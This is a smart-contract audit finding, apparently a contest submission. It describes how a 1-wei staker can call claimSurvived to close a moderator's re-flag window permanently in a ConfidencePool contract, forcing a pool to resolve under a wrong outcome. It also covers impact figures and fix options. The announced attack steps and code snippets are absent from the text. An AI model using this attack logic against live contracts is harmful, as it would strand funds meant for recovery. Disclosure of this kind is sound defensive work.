****

Dust-Claim Griefing: Any Staker Can Permanently Lock the Moderator's Re-Flag Window

**Severity: Medium **

Severity argument. The prerequisite is a moderator making a wrong flagOutcome call — an off-chain operator error, not an on-chain exploit alone. However, once that error is made, any single staker holding even 1 wei of principal can make the mistake irreversible at zero cost (only the gas for claimSurvived). The impact is not abstract: it causes every remaining staker's funds to resolve under the wrong outcome with no on-chain recovery path. In the quantified scenario below, 1,000,000 ether that should have been slashed to recoveryAddress instead returned to the staker. The argument for Medium (and not Low) is that:

1. The cost to trigger it is 1 wei + gas — accessible to any participant.

2. The outcome is permanent — no admin can override once claimsStarted = true.

3. The blast radius scales with pool TVL — not a dust-limited impact.

High would require the moderator error to be induced on-chain (e.g., a front-run forcing the wrong state). That is not the case here.

Root Cause

File: src/ConfidencePool.sol

The re-flag window guard (L327)

The condition is outcome != UNRESOLVED AND claimsStarted. This is a compound guard: both must be true for the revert to fire. The intent is to allow the moderator to correct a wrong flag until the first claim locks in distribution. This is correct design.

The latch (L575-578 in claimSurvived)

claimsStarted is set to true on the very first call to claimSurvived() (or claimCorrupted() or claimAttackerBounty()), regardless of the caller's stake size. There is no minimum-stake gate on the claim entrypoints beyond minStake at deposit time — and minStake defaults to 1 per the factory (and is set to 1 in the PoC as allowed by the interface).

The sequence that weaponizes these two facts

After step 3, outcome == SURVIVED and claimsStarted == true are both permanently set. The OutcomeAlreadySet guard will fire on every future flagOutcome call. No owner, pause, or upgrade path can undo this — UUPS upgrade would change the implementation but the proxy storage (outcome, claimsStarted) persists.

Impact

All remaining stakers are forced to claim via claimSurvived() regardless of the real-world outcome. In a CORRUPTED scenario, correct resolution would sweep all staked funds to recoveryAddress. The attacker's 1-wei claim causes the full TVL to be distributed back to stakers instead.

Quantified (from fork test):

• Pool TVL: 1,000,000 ether (whale) + 1 wei (attacker)

• recovery balance after attack: 0

• Whale balance after forced claimSurvived(): 1,000,000 ether (received back, should have been slashed)

• Attacker cost: 1 wei stake + gas for claimSurvived()

• Attacker gain: prevented their own stake from being swept, at the price of 1-wei principal withdrawal

Proof of Concept

Fork test (passing, Suite result: ok. 1 passed; 0 failed; 0 skipped):

Test file: [test/fork/DustClaimGriefing.t.sol](file:///home/alucard/cantina/Cyfrin/2026-07-bc-confidence-pools/test/fork/DustClaimGriefing.t.sol)

Abridged call trace (key steps)

Recommended Fix

The core problem is that claimsStarted is a boolean latch with no stake-size requirement. Two approaches, in order of invasiveness:

Option A — Minimum-TVL threshold before latch fires (preferred)

Add a claimThreshold parameter (e.g., minStake * N or a fixed protocol constant). Only set claimsStarted = true once accumulated claim volume crosses the threshold:

This does not change the DESIGN.md intent (finality latch) — it just prevents a 1-wei position from triggering it.

Option B — Moderator-only re-flag window with explicit close (simpler)

Add an explicit closeReflagWindow() that only the moderator can call, replacing the implicit claimsStarted latch. The window closes either when the moderator closes it or when the first "significant" claim executes.

Option C — Time-lock on re-flag (minimal change)

Allow flagOutcome to override a previous flag for a short fixed window (e.g., 1 hour) after the first flag, regardless of claimsStarted. Claims in that window are still paid; if the outcome flips they use the corrected outcome.

Note for the protocol: DESIGN.md explicitly documents the re-flag window and states it is closed by the first claim. Any fix must be reconciled with that documented intent. Option A is the most consistent with the documented design — it preserves the latch semantics while raising the griefing cost from 1 wei to a meaningful economic amount.